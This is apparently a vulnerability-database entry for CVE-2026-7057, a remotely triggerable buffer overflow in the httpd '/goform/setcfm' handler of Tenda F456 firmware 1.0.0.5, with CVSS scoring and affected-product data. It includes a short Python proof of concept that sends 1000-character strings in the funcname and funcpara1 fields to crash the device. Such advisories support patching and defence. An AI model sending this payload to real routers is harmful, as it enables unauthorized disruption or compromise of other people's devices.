Security Vulnerability Report
中文
CVE-2026-7057 CVSS 8.8 HIGH

CVE-2026-7057

Published: 2026-04-26 22:17:33
Last Modified: 2026-04-29 22:18:01

Description

A flaw has been found in Tenda F456 1.0.0.5. The affected element is an unknown function of the file /goform/setcfm of the component httpd. This manipulation of the argument funcname/funcpara1 causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:f456_firmware:1.0.0.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:f456:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda F456 1.0.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_tenda(target_ip): # Target URL for the vulnerable endpoint url = f"http://{target_ip}/goform/setcfm" # Payload designed to trigger buffer overflow # Adjust the length based on specific buffer size analysis overflow_payload = "A" * 1000 # Data parameters to be sent data = { "funcname": overflow_payload, "funcpara1": overflow_payload } try: print(f"[*] Sending payload to {target_ip}...") response = requests.post(url, data=data, timeout=5) print("[*] Payload sent.") except requests.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_tenda(target)

References

Raw JSON Data

JSON
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